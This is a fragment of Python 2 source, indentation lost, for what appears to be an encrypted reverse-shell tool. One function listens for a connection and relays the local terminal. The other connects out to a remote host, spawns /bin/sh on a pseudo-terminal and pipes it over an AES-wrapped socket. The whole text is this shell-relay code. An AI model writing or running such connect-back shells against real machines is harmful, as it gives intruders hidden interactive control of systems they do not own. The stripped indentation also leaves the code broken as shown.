def listener(port):
print '\tworking in *** listener *** mode\n'
""" declare global var(s) """
global mmrrs_special_command
global mmrrs_cmd_change_wsize
global g_listener_old_ttyattr
global g_listener_win_changed
g_listener_old_ttyattr = tty.tcgetattr(sys.stdin)
g_listener_win_changed = False
""".end declare global var(s)"""
sd = socket(AF_INET, SOCK_STREAM)
sd.setsockopt(SOL_SOCKET, SO_REUSEADDR, True)
sd.setsockopt(SOL_SOCKET, SO_KEEPALIVE, True)
sd.setsockopt(SOL_TCP, TCP_KEEPCNT, 3)
sd.setsockopt(SOL_TCP, TCP_KEEPINTVL, 2)
sd.setsockopt(SOL_TCP, TCP_KEEPIDLE, 9)
sd.bind(('0', port))
sd.listen(1)
cli_sd, cli_addr = sd.accept()
print '[^_^] got connection from', cli_addr
asd = AES_SOCKET(cli_sd)
listener_auth(asd)
""" setup signal handler """
custom_signal_set = [signal.SIGINT, signal.SIGTERM, signal.SIGWINCH]
for sig in custom_signal_set:
signal.signal(sig, listener_sig_handler)
""" .end setup signal handler """
""" init tty winsize """
print '[II] send local termios attributes..'
winsize = struct.pack('hhhh', 0, 0, 0, 0) # for struct winsize in include/asm/termios.h
struct_winsize = fcntl.ioctl(sys.stdin, tty.TIOCGWINSZ, winsize)
data = mmrrs_special_command + mmrrs_cmd_change_wsize + struct_winsize
asd.send(data)
""" .end init tty winsize"""
#tty.setcbreak(sys.stdin, tty.TCSANOW)
tty.setraw(sys.stdin, tty.TCSAFLUSH)
while True:
try:
stdin, stdout, stderr = select.select((asd, sys.stdin), (), ())
except:
pass
#print '[DD] SELECT ERROR'
#return False
if g_listener_win_changed:
struct_winsize = fcntl.ioctl(sys.stdin, tty.TIOCGWINSZ, winsize) # should be 2bytes * 4
data = mmrrs_special_command + mmrrs_cmd_change_wsize + struct_winsize
asd.send(data)
g_listener_win_changed = False
continue
if asd in stdin:
data = asd.recv()
if not data:
return False
else:
try:
os.write(sys.stdout.fileno(), data)
except:
continue
if sys.stdin in stdin:
data = os.read(sys.stdin.fileno(), 1)
if not data:
return False
else:
asd.send(data)
def connector(hostenv):
print '\tworking in *** connector *** mode\n'
""" declare global var(s) """
global mmrrs_special_command
global mmrrs_cmd_change_wsize
""".end declare global var(s)"""
custom_signal_set = [signal.SIGINT, signal.SIGTERM]
for sig in custom_signal_set:
signal.signal(sig, connector_sig_handler)
addr, port = hostenv
sd = socket(AF_INET, SOCK_STREAM)
sd.setsockopt(SOL_SOCKET, SO_KEEPALIVE, True)
sd.setsockopt(SOL_TCP, TCP_KEEPCNT, 3)
sd.setsockopt(SOL_TCP, TCP_KEEPINTVL, 2)
sd.setsockopt(SOL_TCP, TCP_KEEPIDLE, 9)
try:
sd.connect((addr, port))
print '[^_^] got connection from', sd.getpeername()
except:
print '[EE] cannot connect to', hostenv
print '[SS] listener running or network robust?'
return False
asd = AES_SOCKET(sd)
if connector_auth(asd):
pass
else:
print '[EE] auth failed'
return False
master, slave = pty.openpty()
pid = os.fork()
if pid == 0: # child
sd.close()
os.close(master)
os.setsid()
os.dup2(slave, 0)
os.dup2(slave, 1)
os.dup2(slave, 2)
os.close(slave)
os.execl('/bin/sh')
else: # parent
os.close(slave)
while True:
try:
stdin, stdout, stderr = select.select((asd, master), (), ())
except:
print '[DD] SELECT ERROR'
#return False
if asd in stdin:
try:
data = asd.recv()
except:
return False
if not data:
return False
else:
if data[0] == mmrrs_special_command:
if data[1] == mmrrs_cmd_change_wsize:
try:
row, col = struct.unpack('hhhh', data[2:])[0:2]
print '[DD] set terminal wsize to %d x %d' %(row, col)
fcntl.ioctl(master, tty.TIOCSWINSZ, data[2:])
except:
print '[DD] it should not be happend, but terminal size error'
elif data[1] == AES_SOCKET.mmrrs_cmd_continue:
continue
else:
print '[DD] command not implement yet'
else: # normal data
try:
os.write(master, data)
except:
return False
if master in stdin:
try:
data = os.read(master, 8192)
except:
return False
if not data:
return False
else:
try:
asd.send(data)
except:
return False